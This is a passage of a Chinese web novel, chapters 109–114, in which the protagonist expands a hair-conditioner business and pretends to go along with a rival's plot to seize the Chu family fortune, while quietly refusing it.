《鲜花插牛粪才滋润,公主嫁我能复国!》 第109章 扩大生产 第一百零九章 扩大生产 婉儿被这突如其来的动静吓了一跳,却被他眼底的霸气震得心头乱撞,方才的惶恐竟散了大半。 明明是粗鄙的动作,霸道的话语,她却觉得无比可靠,又轻轻“嗯”了一声,赶紧用袖子擦干眼角的泪。 李奏凯这次倒没趁机占她便宜,只是正经道:“你先安心把屏风的事办好,让你爹知道,你在楚家能干,能挣大钱,他自然舍不得把你推进泥沼里,至于悔婚的后果,有凯哥在,全给你担着。” 婉儿心里像落了块石头,踏实了不少,终于恢复了些平日的模样,抬头看他:“凯哥,我……我相信你,那我先出去干活了。” “去吧。” 李奏凯松开手,看着她挺直脊背走出隔间的背影,眼里闪过一丝厉色“红姐,王掌柜?想动和老子好的女人,我倒要看看你们有多大的本事。” …… 和婉儿聊完,李奏凯心里堵得慌,在屏风作坊转了两圈,见一切稳妥,便叫住肖管事: “小管事,最近王虎那边、周先生还有楚二爷,有什么动静没有?” 肖管事闻言愣了愣,仔细回想了片刻: “回凯哥,他们这几日倒真没什么动静!周先生虽说不肯去掏粪,也每日在书房待着不露脸,楚二爷更是好几天没来楚家了,也不知在忙些什么,没人提您的事。” 李奏凯摸着下巴犯嘀咕: 这伙人平日里恨不得咬他一口,如今反倒安分了? 莫不是故意装样子,让自己放松警惕,等屏风出货时再搞突然偷袭? 他皱了皱眉,管他呢,兵来将挡就是! 既然眼下没啥事,而且又有了自由进出楚家的大权,他干脆转身离了楚家,往墨香妆坊去了。 一进门,就被里头的热闹惊了下。 原本就不小的妆坊挤满了人,姑娘们围着柜台叽叽喳喳,有些手里甚至攥着纸条,竟是在预定什么东西。 “你可算来了。” 苏璃月看见他,赶紧抽身笑着迎上来,眼里闪着光,“护发素的效果瞬间就传开了,现在到处都在问什么时候能买到。” 凌霜也扬了扬手里的钱袋,倒出几十两银子:“你看,这都是定金!” 我勒个去! 李奏凯吓了一跳:“试用装不是免费送吗?怎么还收钱了?” “那些大小姐、贵妇哪在乎这点钱?” 苏璃月笑得眉眼弯弯,“都说只要能优先拿到货,多给点钱也愿意。这都是预付的定金,单子都记着呢。” 李奏凯看着那堆银子,眼睛都亮了! 这才刚开始,就有这架势,等量产了还得了? 他赶紧道:“跟楚夫人谈妥了,西跨院那小作坊租下来了,抽空去收拾好招点人手,最快过几日就能开工量产!” “真的?” 苏璃月和凌霜都喜上眉梢,这下子再也不用担心场地不够了。 正说着,凌霜像是想起了什么,补充道:“对了,还有件事!方才来了位贵妇,之前也光顾过我们生意,说她夫君想请你吃顿饭,问你什么时候有空?” “请我吃饭?” 李奏凯纳闷了,“她夫君谁啊?” “没说名字,只说若是方便,就定在明天晚上。” 苏璃月道,“我看她衣着不凡,不像普通人,许是有什么生意想谈?” 李奏凯摸了摸下巴,心里越发好奇,能让贵妇出面邀约的,定不是寻常人物。 到底会是谁? 他嘿嘿一笑:“行啊,那就明天晚上!正好我也想瞧瞧,是谁这么赏脸。” 苏璃月点点头:“那我这就让人回个话。” 李奏凯看着柜台后堆积如山的订单,又瞅了瞅手里沉甸甸的银子,只觉得浑身的伤都不疼了! 看来这发家致富、天天在家抱着老婆数钱的日子,怕是不远了!嘿嘿…… 他本还想在墨香妆坊跟两位娘子腻歪几句,可手刚伸过去想搂苏璃月的腰,就被凌霜“啪”地一下拍开。 “今天人多,可别动手动脚的。”凌霜挑眉训道,“正事要紧。” 苏璃月也帮腔:“夫君,作坊刚租下来,场地得赶紧收拾,人手也得配齐,不然定金收了这么多,到时候交不出货可就麻烦了。” “就是,”凌霜不忘追问,“你说给我们的惊喜呢?哼,可别忘了!” 李奏凯嘿嘿一笑,不甘心地又捏了捏两位娘子的小手,才不情不愿地松手:“知道了、知道了,那先办正事。” 他依依不舍离开两位娘子,转身就去了楚家西跨院的废弃染坊。 这作坊倒是不偏远,距离楚家和墨香妆坊都大概2里路程,只是状况却不是很好! 院子里杂草半人高,几间瓦房的窗纸破了洞,风一吹哗哗响,只剩下两个老头守着,见了他只喏喏地问好。 李奏凯转了一圈,心里就有了数,明天得从楚家调些人过来整整才行,反正他现在大权在握,这种事情对他而言小事一桩! 第二天一早,他直接把肖管事和梁三拉了过来。 梁三是个实在人,二话不说拿起扫帚就清理杂草,搬起石头来也不哼哧,闷头干活任劳任怨,甚至听老头说茅坑也要整,他直接就下手去掏了! 肖管事则懒懒散散干着,突然凑到李奏凯身边,满脸堆笑: “凯哥,您这是要大展宏图啊!这作坊一拾掇,将来定是财源滚滚!到时候您发达了,可别忘了小的我,有什么吩咐尽管说,刀山火海,在所不辞——” 李奏凯瞥他一眼:“少来这套!是不是还想说,我对你的仰慕,如滔滔江水……行了行了,都给打住!” 他没等肖管事把那句“黄河泛滥”说出口就截住话头,“说正事,我想从楚家调些人手过来,或者你帮着招些新人,行不行?” 肖管事脸上的笑僵了僵,搓着手道:“凯哥您发话,小的哪敢不照办?今天让弟兄们过来搭把手、拾掇拾掇院子,那都没问题!可要是长期调过来……” 他顿了顿,苦着脸,“这楚家的人手都是有定例的,真要长期动,怕是瞒不住夫人和管家,小的这点能耐,实在担待不起啊!” 李奏凯想想也是,确定这点钱省不了,便改口:“那你先帮着招些新人,工钱按楚家的标准给,不低于家丁丫鬟的月钱!这事两天内给我搞定,没问题吧?” 第110章 化敌为友? 第一百一十章 化敌为友? “哎哎,没问题!” 肖管事赶紧应下,又嬉皮笑脸地忙去了。 李奏凯转头看向正埋头搬砖的梁三,突然扬声道:“梁三,这作坊的看门人,你来当怎么样?” “啊?!” 梁三猛地抬头,吓得连连摆手:“凯哥,使不得使不得!我就是个干活的,哪会看门啊?这活儿我干不了。” “让你当你就当。”李奏凯走过去按住他的肩膀,“怎么,不听凯哥的话了?” 梁三急得脸通红:“不是不听,是我真没那能耐!跟钱没关系,我怕给您办砸了!” “我说你有你就有。” 李奏凯瞪了他一眼,语气却软了些,“每月给你多加五百文工钱,就守着这院子,不让闲人进来,到时记着谁来领过东西、送过货就行,不难吧?” 梁三还想推辞,被李奏凯一眼瞪回去,只能讷讷地应了。 李奏凯看着他那老实巴交的样子,心里踏实不少。 这作坊里的配方是机密,就得找个梁三这样的,直肠子没弯弯绕,属老黄牛,兢兢业业,还不会乱嚼舌根。用这样的人看门,他才放得下心。 “行了,干活吧。” 李奏凯拍了拍他的背,转身去规划作坊的布局,心里已经开始盘算着量产护发素的事了。 把作坊的事安顿得差不多,看看日头偏西,李奏凯便往墨香妆坊赶。 苏璃月和凌霜今天早点打烊,早已收拾妥当。 见他进来,苏璃月便道:“约好了,就在今晚,那家聚仙楼,听说在金陵城数一数二的高档酒楼。” “聚仙楼?” 李奏凯嘿嘿一笑,伸手揽住两位娘子的腰,“第一次跟大娘子、二娘子一块赴宴,必须去高档的,渐渐倒真有点一家人出门的意思了。” “别贫了,”苏璃月拍开他准备做坏的大手,眼里却带着笑意,“快走吧,别误了时辰!” 三人雇了辆体面的马车,不多时便到了聚仙楼前。 只见酒楼朱门金漆,檐下挂着一溜红灯笼,往来的都是衣着光鲜的公子小姐、富商贵妇,光是门口迎客的小厮都穿着绸缎衣裳,一看便知消费不菲。 李奏凯咂咂嘴:“这地方吃一顿,怕是抵得上寻常人家半年的嚼用了。” “怕什么,”凌霜挑眉,“又不用咱们掏钱,是对方请的。” 李奏凯嘴上笑着应和,心里却打鼓:素未谋面就这般礼遇,怕不是黄鼠狼给鸡拜年? 苏璃月也低声提醒道:“夫君,无事献殷勤,如果不是冲着生意合作来的,我也担心是非奸即盗。待会见了人,多留个心眼,千万别不小心着了道!” “放心。” 李奏凯捏了捏她的手,笑得笃定,“嘿嘿,能占你夫君便宜的人,还没生出来呢。” 凌霜难得附和:“这话倒是没错!” 苏璃月这才笑了笑,轻松下来。 三人走进酒楼,报上名字,掌柜的立刻满脸堆笑地亲自引路,穿过喧闹的大堂,往后院的雅间去。 推开包厢门,只见里面早已坐着一对夫妻。 妇人穿着满身绫罗,头上插满珠翠,一看便知是不差钱的主;而她身边坐着的男人,李奏凯看清后,脚步猛地一顿。 居然是楚二爷,楚明诚! 楚明诚也看到了他,脸上立刻堆起和煦的笑,站起身迎上来: “哎呀!李先生,可算把你盼来了,多谢赏脸啊!” 李奏凯心头警铃大作,面上却不动声色,拱了拱手:“二爷客气了,你要请我吃饭,直接在楚家说一声便是,何必这么拐弯抹角?我定是屁颠屁颠就来了,哈哈!” “这不是怕在楚家拘束了李先生嘛,”楚明诚笑得像尊弥勒佛,伸手就想去拍李奏凯的肩膀,“外面的酒楼自在些,也好说话。” 李奏凯看似不经意地侧身避开,顺势往旁边挪了半步:“二爷,有心了啊。” 楚明诚的手僵在半空,倒也不尴尬,哈哈一笑道:“来,快请坐。我给你们介绍,这是内子!” 他指了指那美妇人,又对妇人道,“这就是我常跟你提起的,楚家那位年轻有为的李先生。” 美妇人连忙起身行礼,笑容客套却疏离。 苏璃月和凌霜对视一眼,都从对方眼里看到了警惕。 原来请吃饭的是楚二爷! 这人在楚家一直视夫君为眼中钉,如今这般隆重宴请,定没安好心。 凌霜悄悄碰了碰苏璃月的手,用眼神示意该不会在菜里下毒吧? 苏璃月微微摇头,用口型回了两个字:“不至于。” 在这种高档酒楼,又是大庭广众,他还没胆子做这等蠢事。 李奏凯在椅子上坐下,心里清楚得很,楚明诚这笑面虎,前阵子刚吃了大亏,现在又来这套,指不定憋着什么坏水呢! 不过他倒要看看,对方到底想耍什么花样。 楚明诚显然是做足了准备,桌上的菜流水似的上,龙井虾仁、红烧鹿肉、冰糖燕窝…… 全是些寻常人家见都见不到的珍馐,连烫酒的银壶都雕着缠枝莲纹,一看就价值不菲。 他还特意叫了对父女进来,老者拉二胡,少女唱小曲,咿咿呀呀的调子配着酒香,倒真有几分风雅。 李奏凯哪会客气? 反正花的是楚明诚的银子,他一边给苏璃月和凌霜夹菜,一边自己甩开膀子吃,嘴里还不停夸:“二爷真是太客气了,这菜比楚家后厨做得还地道!” 楚明诚只笑不说话,一个劲地劝酒:“李先生年轻有为,当浮一大白!”李奏凯来者不拒,仰头就干! 他如今武力值见长,酒量也跟着水涨船高,可喝了几杯后,却故意耷拉着眼皮,舌头也开始打卷,一副醉醺醺的样子。 楚明诚见时机差不多了,给身旁的夫人使了个眼色。 那美妇人立刻笑着起身,对苏璃月和凌霜道:“苏娘子,凌娘子,我瞧这酒楼后院的菊花开得正好,不如咱们移步去看看?我还想请教二位些胭脂水粉的门道呢,听说李先生的妆坊最近出了款护发素,火得很呢。” 凌霜看向苏璃月,眼神里带着询问。 苏璃月轻轻点头。 她们若不走,楚明诚定不会说正事,今天这趟就白来了。 于是,她起身笑道:“好啊,那就叨扰楚夫人了。” 女人们都退出去,包厢里只剩下两人,楚明诚这才收起笑容,盯着李奏凯慢悠悠地问: “李先生,你在楚家待着,觉得……舒心吗?” 李奏凯趴在桌上,含糊不清地哼唧:“舒……舒心啊,有酒有肉,有美女,还有银子拿……” “可楚家终究是姓楚的,” 楚明诚声音压低了些,“你再能干,终究是个外人。夫人虽放权给你,可真到了分好处的时候,哪有你的份?” 第111章 这玉佩,好像哪见过? 第一百一十一章 这玉佩,好像哪见过? 李奏凯早有所料他的用意,所以听到这话,只是嘿嘿笑了两声,抬手拍了拍楚明诚的胸口,力道却不轻: “二爷……说这些干啥?我……我就是个粗人,来楚家挣钱的,谁当家……跟我没关系……” 楚明诚眼睛一亮,这小子果然是个见钱眼开的! 他凑近了些,声音里带着诱惑:“既然李先生是想挣钱?那我倒是有个能赚大钱的法子,想跟你合计合计。” “哦?啥法子?” 李奏凯猛地抬起头,眼里却没多少醉意,“有这等好事……咋不早说呢?” 楚明诚干笑两声,搓了搓手:“之前不是和李先生有点误会么?现在把话说开了,我才好说啊!” 李奏凯又是指指点点,笑容贼贼的,然后给他倒了杯酒。 两人碰过杯后,楚明诚也不再藏着掖着,直接开口:“我想……咱们合作,把楚家吞了。” 李奏凯“嚯”了一声,刚喝的酒直接喷他身上,然后假惺惺站起来:“哎呀!二爷,不好意思啊!我……我胆子小,一时给你吓坏了!” “没事没事!” 楚二爷一边擦着身子,一边摆手,笑容中藏着恼色,却是不发作。 李奏凯连忙抽过桌上的帕子,假意去擦,身子却顺势往楚明诚身边凑了凑。 眼角余光瞥见他腰间挂着块玉佩,墨色底子上嵌着缕金丝,雕的是只展翅的雄鹰,看着格外眼熟。 他一边道歉,一边“不小心”用指尖挑了下那玉佩的穗子,指尖触到玉面的冰凉,心里猛地咯噔一下! 这手感,这纹路,怎么跟当初在蟒蛇洞那具尸体上捡的玉佩那么像? 那时候他把玉佩给了两位娘子才离开牛头村,后来忙着各种事,倒忘了问她是不是拿去当了。 可就算当了,怎么会落到楚明诚手里? 难道是两个不同的?那死在洞里的人,跟楚家有牵扯? 李奏凯心头翻江倒海,脸上却笑得越发憨傻,手里的帕子在楚明诚衣襟上胡乱抹着:“瞧我这醉手,二爷莫怪,莫怪啊!” “无妨,小事而已。” 楚二爷显然没在意那玉佩,只想着正题,又把话拉了回去,“那咱们接着说……李先生,刚刚的提议你觉得如何?” “吞……吞楚家?楚家有多少钱啊?”李奏凯故意继续颤抖着道:“五万两?” 楚明诚摇摇头。 “五十万两?” 楚明诚还是摇头,嘴角勾起一抹得意的笑:“楚家的家底,比你想的厚得多!光是金陵的布坊、绣坊、绸缎庄就有十几家,还有城外的良田千亩,当铺三座,以及金陵城外的产业……真要算起来,这个数都打不住。” 他重新比了个“五”的手势,却轻轻晃了晃手指。 李奏凯心里一惊! 难道是,五百万两? 我太阳啊!不可能吧? 这楚家竟是头深藏不露的金色冰山! 但他脸上依旧醉醺醺的:“我的乖乖……那么多啊?那吞了之后……” “之后?” 楚明诚眼中闪过贪婪,“之后你我就是金陵首富!到时候想开多少妆坊开多少,想做什么生意做什么,谁还敢拦着?” 李奏凯故意咽了口唾沫,一副被说动的样子:“那……那咋吞?楚夫人精明得很,听说大小姐也很厉害……” “再精明也只是妇人孺子而已,不足为惧。” 楚明诚不屑地哼了一声,“我已经跟赵家搭好了线,我们早盯上他们的布坊、绣坊和绸缎庄,别看楚家现在看着风光,实则外强中干……” 他一骨碌说了很多楚家的漏洞,最后才凑近了些,压低声音:“如今关键就在你身上,你现在管着贡品屏风的事,又能调动楚家的人手,只要你在账上做点手脚,再故意拖延贡品的进度,让朝廷那边施压……” “我保证,你按我说的做,不出三个月,楚家的资金链就得断。到时候我和赵家再出面‘注资’,里应外合,这楚家的产业,还不就成了咱们的囊中之物?” 李奏凯听得心里冷笑,这楚明诚倒是打得一手好算盘! 说了半天,不过想把自己当枪使! 什么合作分楚,就是他和赵家瓜分而已! 不过李奏凯也不说破,只是故意皱着眉,一副犹豫的样子:“这……这要是被发现了,我可就惨了……” “富贵险中求!” 楚明诚拍着他的肩膀,“事成之后,楚家的产业我分你三成!光是那几家大绸缎庄,一年就有十几万两的进项,不比你在楚家当先生强?”李奏凯猛地一拍桌子,霍然起身,嗓门亮得震得窗纸都颤:“好!既然二爷都把话说到这份上,拿我当自家人看,那我……” 楚明诚眼睛一亮,身子都往前倾了倾,以为他要拍板应下。 哪料李奏凯话锋一转,突然缩了缩脖子,挠着头嘿嘿笑: “那我……还得回去好好琢磨琢磨,毕竟是吞楚家这么大的事,我这小身板,怕扛不住啊!” 楚明诚脸上的笑差点没挂住,心里直想给他个白眼! 这小子刚才还眼冒绿光,转脸就怂了? 但他深知不能逼得太急,耐着性子又往他跟前凑了凑,声音压得更低,带着钩子似的: “李先生放心,事成之后,楚家那三家最大的绸缎庄,直接划到你名下!城外那百亩水田,也归你!到时候你就是金陵城排得上号的大财主,比在楚家当牛做马强百倍!” “那是那是,”李奏凯搓着手,话里却带着试探, “可光知道这些还不够啊!比如赵家具体怎么动手?布坊的账怎么改才不露馅?贡品那边拖延多久才合适?二爷得给我透点细的,我才好配合不是?” 他这是想套更多把柄,楚明诚哪会看不出来? 老狐狸眼皮一耷,端起酒杯慢悠悠抿了一口,含糊道:“细节嘛,不急!等你想通了,咱们再细聊。现在说这些,万一你不肯干,岂不是白费功夫?” 他顿了顿,话锋突然转得阴恻,“再说了,李先生今天能来这聚仙楼,能跟我楚老二坐在一起喝酒,这事要是传到夫人耳朵里……你说,她会怎么想?” 李奏凯心里咯噔一下——来了!这老狐狸果然在这等着他! 第112章 被拉上贼船 第一百一十二章 被拉上贼船 楚明诚见他脸色有微变,嘴角勾起一抹算计的笑,语气却越发“诚恳”: “李先生,你我现在就像站在同一条船上,船要是翻了,怕是谁也跑不了!” 他往前探了探,眼神像淬了毒的针! 李奏凯岂能不明白他的意思? 就算他回去跟夫人说出楚明诚邀他谋反,楚夫人会信他吗?怕是只会觉得他和楚明诚早串通好了,想联手坑她吧? 到时候,她处置楚明诚之前,极大概率会先拿他这‘内奸’开刀! 李奏凯看着他那副笑里藏刀的模样,心里暗骂一声老狐狸。 这招釜底抽薪够阴的! 来都来了,一起喝了酒,说了话,哪怕什么都没答应,也成了洗不清的嫌疑。 毕竟,谁能证明? 楚明诚就是算准了这点,才敢这么明目张胆地拉拢他。 “哈哈,二爷这话说的……”李奏凯干笑两声,故意装傻,“我就是来吃顿饭,哪想那么多……” “现在想也不晚啊。” 楚明诚当即放下酒杯,站起身整理了一下衣襟,“我给你三天时间考虑。想通了,随时来找我。想不通……” 他意味深长地瞥了李奏凯一眼,“也没关系,就当今天这顿饭,是我请朋友吃的。” 这话听着客气,实则带着威胁,你要是不识抬举,今天这“朋友”的名分,就是你的催命符。 李奏凯看着楚明诚转身离去的背影,捏紧了拳头。 泥马,这老狐狸,果然够阴够狠的! 没多久,苏璃月和凌霜回到包厢时,就见李奏凯正盯着桌上的残羹冷炙出神,眉头拧得紧紧的。 “夫君,楚二爷跟你说什么了?” 苏璃月走过去,递给他一杯热茶。 李奏凯接过茶喝了一口,把楚明诚想拉拢他吞并楚家的事简略说了一遍,末了哼了一声:“那老狐狸,算盘打得倒精!” “果然是个阴狠角色!”凌霜冷笑,“想用这种法子逼你站队,真是打得一手好牌。” 苏璃月忧心忡忡地看着他:“那夫君打算怎么办?你可不能……” “放心!” 李奏凯“啪”地放下茶杯,猛地站起身,语气斩钉截铁,“我李奏凯虽然平时爱耍点小聪明,占点小便宜,但还没到背信弃义的地步!楚夫人信任我,把楚家的事交托给我,我就算再贪财,也干不出吃里扒外的勾当。” 他踱了两步,声音沉了些:“再说了,楚家现在靠着夫人撑着,本就不容易,楚明诚这种蛀虫想趁虚而入,欺负孤女寡母,我要是帮了他,那还算个人吗?别说他许的是绸缎庄和田地,就是把整个楚家给我,我也不稀罕这种黑心钱!” 这番话说得掷地有声,哪里还有半分平日的嬉皮笑脸? 苏璃月看着他紧绷的侧脸,眼里闪过一丝欣慰。 凌霜也在一旁默默点头,心里暗暗感叹,这家伙看着吊儿郎当,满脑子歪心思,没想到骨头倒是挺硬。 又想起上次聚力堂那一战,他要是没有那点血性,绝不会让老弱先走,自己硬扛着那些地痞。 她想起苏璃月当初的决定,忽然觉得姐姐的眼光果然没错。 这男人是好色,是爱耍滑,但紧要关头拎得清,有底线,更有那份能扛事的担当! “那接下来,你不和楚明诚合作的话,我怕他会对你不利……” 苏璃月轻声提醒。 “怕他个球?兵来将挡就是!” 李奏凯咧嘴一笑,又恢复了几分平日的模样,“他想玩阴的,我就陪他玩玩,反正楚家的一些权力在我手里握着,他想动歪心思,还得看我答不答应。” 他突然伸手揽过两位娘子,嘿嘿笑道,“再说了,我有你们俩帮忙,还怕他个老狐狸不成?” 苏璃月被他逗笑,轻轻拍了下他的胳膊:“就知道贫。” 凌霜心里的担忧却散了大半,夫君这份心,再难的坎,她们和他一起铲平就是! 接下来几天,李奏凯把心思全扑在了护发素的量产上。 小作坊被收拾得干干净净,他亲自守着调配核心原料的工序,半点不让外人沾手。 梁三像尊门神似地守在门口,背挺得笔直,谁想往里闯都得先过他这关。 招来的几个劳力也都是些闷头干活的老实人,只知道按李奏凯的吩咐捣碎花瓣、煮沸清水,别的啥也不问。 这天,李奏凯刚把第一批量产的护发素装瓶封好,就听见门外传来争执声,夹杂着梁三憨厚的辩解: “真不行……凯哥说了,没他的话,谁也不能进……” “哼,谁也不能进?连我也敢拦?” 一个女声带着怒气响起。 李奏凯眉头一挑,掀帘走出去,扬声嚷道:“谁啊?这么长脸?这地方现在我说了算,也不看看是谁的地盘!” 话音刚落,就见楚夫人站在门口,脸色冰寒,旁边的楚小玉正鼓着腮帮子瞪着梁三。 李奏凯的狠话瞬间卡在喉咙里,脸上的戾气秒变堆笑:“哎哟,是夫人和二小姐啊!什么风把你们吹来了?” 他转头瞪向梁三,语气装得很严厉:“你这小子,怎么回事?夫人和二小姐也敢拦?长本事了是吧!” 梁三急得脸通红,刚想解释“不是你说了,不管谁来都得拦着的吗”,就见李奏凯偷偷给他竖了个大拇指,顿时把话咽了回去。 李奏凯心里气势偷着乐,就冲梁三这认死理的劲儿,没看错人!连楚夫人都敢拦,这保密工作稳了! 他赶紧把梁三扒拉到一边,亲自上前引路:“夫人,二小姐,里面请里面请!这小子脑子一根筋,您别跟他计较。” 楚夫人冷哼一声,抬脚往里走,眼神扫过院里整齐堆放的原料和瓶罐,语气带着嘲讽: “李奏凯,我不过是把这作坊租给你,你倒真把这儿当成自己的地盘了?不仅连我都敢拦,还在这里背着我搞什么小动作?” “夫人,瞧您说的,” 李奏凯嘿嘿笑,亦步亦趋地跟在后面,“这不是怕闲杂人等打扰了您租出去的地方嘛!” “再说了,您是主子,您要来,提前说一声,我就算铺红地毯也得迎您啊,梁三这小子不懂事,回头我好好训他,嘿嘿……” 第113章 谗言可畏 第一百一十三章 谗言可畏 这话捧得恰到好处,楚夫人明知他把责任推梁三身上,心里的火气还是消了些,却依旧板着脸: “少贫嘴!你在这神神秘秘地捣鼓什么?又是花瓣又是精油的,弄得满院子香味。” 李奏凯没直接回答,只是打了个太极:“哈哈,也没什么,就是自己做点小本生意,赚点零花钱,夫人您日理万机,这些琐事就不用操心了。” “不行不行!” 楚小玉立刻跳出来,拽着李奏凯的袖子晃,“先生,你肯定在做好玩的东西!快告诉我是什么!不然我……我就让娘扣你月薪!” 哎哟喂!这小祖宗! 李奏凯顿时瞪眼,真是“尊师重道”的好学生啊! 楚夫人站在一旁没说话,眼底却闪过一丝算计。 她就是故意带小玉来的,自己来硬的逼问,就怕这滑头不吃硬;来软的,又拉不下脸,小玉这丫头跟他亲近,由她出面施压最合适。 果然,李奏凯被缠得没辙,哭笑不得地举手投降:“行行行,怕了你了!夫人,二小姐,我做的东西你们就别细看了,工序乱得很,不过刚做出来点成品,倒可以送你们尝尝鲜。” “成品?” 楚小玉眼睛瞬间亮了,“是什么是什么?快拿给我看看!” 李奏凯转身回里屋,拎出两个精致的小瓷瓶,递到两人手里:“嘿嘿,这个叫护发素,抹在头发上洗一洗,保管又顺又香!你们试试就知道了。” 楚夫人接过瓶子闻了闻,鼻尖萦绕着淡淡的花香,眉头微挑。 这东西看着倒不像糊弄人的。 楚小玉早已迫不及待地拧开瓶盖,凑到鼻尖闻了闻,惊喜地叫道:“好香啊!先生,这真的能让头发变顺吗?” 李奏凯笑得神秘:“试试就知道了,保证不骗你们!” 楚夫人和楚小玉拿着护发素就回楚家,倒是没再纠缠李奏凯。 一路上,楚夫人都若有所思,反观楚小玉都捧着那小瓷瓶爱不释手: “娘,你说李先生怎么这么厉害?不仅会教我读书,会管账,还能做出这种好东西!简直是个天才!” 楚夫人淡淡“嗯”了一声,指尖摩挲着瓶身。 她还没试过这护发素,但光看这精致的包装和清雅的香气,就知道不是粗制滥造的玩意。 这李奏凯,确实不简单——论机智,能在楚明诚和周先生的夹击下站稳脚跟;论文采,教小玉的功课头头是道;论胆识,听说竟敢带着老弱去端了张爷的聚力堂,而且到现在还活好好的…… 这样的人,楚家怕是真的装不下太久。 她心里泛起一丝隐忧:若是他包藏祸心,真想要对楚家不利,自己一个寡妇,带着个半大的女儿,怕是应付不来。 这家伙可比楚明诚那点伎俩要可怕得多,楚明诚是明着贪,他却是藏着掖着的深。 可眼下,楚家又离不开他,贡品屏风要靠他盯着,楚明诚那边也要靠他制衡,就算心里有再多猜疑,也只能暂且忍着,万万不能翻脸。 正想着,刚到中院,就见楚明诚站在廊下等着,见了她们便拱手,一副笑面虎的姿态:“大嫂,你今天和小玉出门了?” 楚小玉天生有点怕这个二叔,赶紧躲到楚夫人身后。 楚夫人点点头,也没告诉他自己去哪,只是反问:“二叔,有事?” “有点账目上的事想跟大嫂聊聊。” 楚明诚笑得温和,眼神却闪烁不定。 楚夫人让小玉先回房,自己跟着楚明诚进了账房。 刚坐下,楚明诚就慢悠悠地拨着算盘,看似不经意地说:“大嫂,我听说,李奏凯最近在西跨院那作坊忙得热火朝天,听说还带走楚家一些下人,在那弄些新奇玩意?” 楚夫人心里暗暗一惊,这家伙怎么都知道?不过面上却淡然若定,微微抬眼:“嗯,一点小生意。” “嗯,要是真小生意倒罢了!” 楚明诚话锋一转,语气带着点担忧,“只是……他毕竟是外姓人,大嫂把楚家这么多事交给他,还能给他调配楚家下人,是不是太信任他了?万一他心里有什么别的打算,咱们怕是防不胜防啊。” “毕竟老祖宗有句话留下来,叫非我族类,其心必异——” 听到这里,楚夫人突然放下手里的茶盏,声音冷了几分:“二叔,你这话就不对了!李奏凯对楚家有什么心思,我心里有数!” “他替楚家解决了贡品的难题,挡住了林大青的刁难,论功劳,楚家上下没几个人比得上!而且眼下正是用人的时候,你别在这里胡乱揣测,搅乱了人心。” 她顿了顿,目光锐利地看向楚明诚:“倒是你,总盯着别人的不是,不如多花点心思在自家铺子上,楚家要是乱起来了,对你有什么好处?” 楚明诚被训得脸上青一阵白一阵,只能讪讪地应:“大嫂说得是,是小弟多嘴了。” 可他没立刻走,又东拉西扯说了些生意上的琐事,把该提醒的话都裹在里头,才不情不愿地告退。 楚明诚一走,账房里顿时安静下来。 楚夫人看着账本上密密麻麻的数字,却一个也看不进去。 楚明诚的话像根刺,扎在她心里! 是啊,李奏凯再能干,也是外姓人,自己对他的了解,不过是这个几月的相处,谁知道他骨子里藏着什么? 她越想越乱,干脆合上账本,揉了揉眉心。 而另一边,楚明诚走出账房,脸上的懊恼瞬间变成了得意的笑。 他当然知道大嫂会训斥他,可他要的不是她的认同,而是在她心里埋下一根刺。 大嫂生性多疑,这些年防了自己那么久,怎么可能对一个突然冒出来的李奏凯全然放心? “只要你心里对他有了防备,”楚明诚低声自语,眼里闪过算计,“剩下的事,就好办了。” 他就不信,这根刺不会越长越大,总有一天,能让他们狗咬狗。 没多久,李奏凯也回到楚家,径直往绣房去。 贡品屏风已近完工,最后这几日最是关键,半点马虎不得。 他刚跟肖管事核对完绣线用量,就见楚明诚掀帘进来,脸上挂着惯常的和煦笑意。 不过落李奏凯眼里,则是黄鼠狼的笑,这次怕是不好对付! 第114章 送上门的证据 第一百一十四章 送上门的证据 “哎哟喂,稀客啊!二爷怎么来了这种旮沓对方?” 李奏凯不动声色,也笑着迎了上去。 肖管事见楚明诚走进绣房,跟踩了风火轮似的迎上去,腰弯得像张弓,脸上的褶子都堆成了花: “哎哟,二爷您来了啊!您瞧瞧这绣房,自打您过来,绣娘们的针脚都比往日细密了三分,这屏风啊,瞧着就添了几分贵气!” 楚明诚被他聒噪得太阳穴突突跳,不耐烦地挥挥手,语气里带着毫不掩饰的嫌弃:“行了行了,哪来那么多废话?该干嘛干嘛去,别在这儿碍眼。” 肖管事脸上的笑丝毫不变,反而拍得更起劲:“哎哎,小的这就滚,这就滚!二爷您忙,有任何吩咐,哪怕是天上的星星,小的也给您想法子摘下来!” 说罢,还弓着腰往后退了好几步,直到楚明诚转过身,才直起腰抹了把汗,又凑到门边,偷偷往里头瞄。 楚明诚这才拉着李奏凯往绣房角落的小隔间走,压低声音道:“李先生,过两天,你找个由头把绣坊的人都支开半个时辰。” “哦?”李奏凯故作纳闷:“支开人?二爷这是想干什么?这节骨眼上要是走了水,屏风被烧了,谁也救不及啊。” 他嘴巴故意这么说,心里却已掀起惊涛,猜到这老狐狸竟想对屏风明着动手了? 楚明诚眼底闪过一丝阴狠,却笑得越发温和:“你只管照做,出了岔子也与你无关,事成之后,好处还少不了你的。” “哦,好处?” 李奏凯挑眉,语气带着几分试探,“嘿嘿,二爷这手笔,怕是不止小打小闹吧?这么做,我能得什么实在的?” 楚明诚瞥了眼窗外,发现肖管事正站在廊下,看似在整理晾晒的绣品,目光却透过窗缝往这边瞟,见他看来,又慌忙低下头去。 楚明诚嘴角勾起一抹不易察觉的笑,故意从袖中摸出两张银票,光明正大塞到李奏凯手里:“这里有两百两,你先拿着!事成之后,另有重谢。” 李奏凯指尖触到银票的厚度,心里冷笑,这是故意做给肖管事看的。 不管自己收不收,这“李奏凯收了楚二爷的钱”的话,迟早会传到楚夫人耳朵里。 这老狐狸,这次就是想把自己架在火上烤啊! 他捏着银票,干脆突然朗声笑了起来,扬声喊道:“小管事,你给我回来!” 楚明诚一愣! 外面的肖管事更是惊得差点把手里的绣绷掉在地上,慌忙跑进来:“凯哥,二爷,是有什么吩咐?” 李奏凯把手里的两张银票拍到肖管事掌心,语气坦荡:“二爷说咱们替楚家赶制屏风辛苦了,这二百两拿去,请绣娘们和大伙儿吃顿好的,也算二爷的心意。” “啊?这么多?” 肖管事捧着银票,眼睛瞪得溜圆,看看李奏凯,又看看楚明诚,一时没反应过来。 “不然怎么说二爷阔绰?一天吃不完两天,两天吃不完半个月,大伙儿人那么多,二百两很快就完事了!” 李奏凯挥挥手,示意他快去。 楚明诚的脸瞬间沉了下去,刚想开口,就见李奏凯又转向他,伸手从他还没来得及收回的袖中摸出另一叠银票,直接揣进自己怀里,笑道: “哈哈,二爷还说我这几日操劳,特意赏我的辛苦钱!肖管事,你要是把大伙儿招呼好,回头我再赏你一份。” 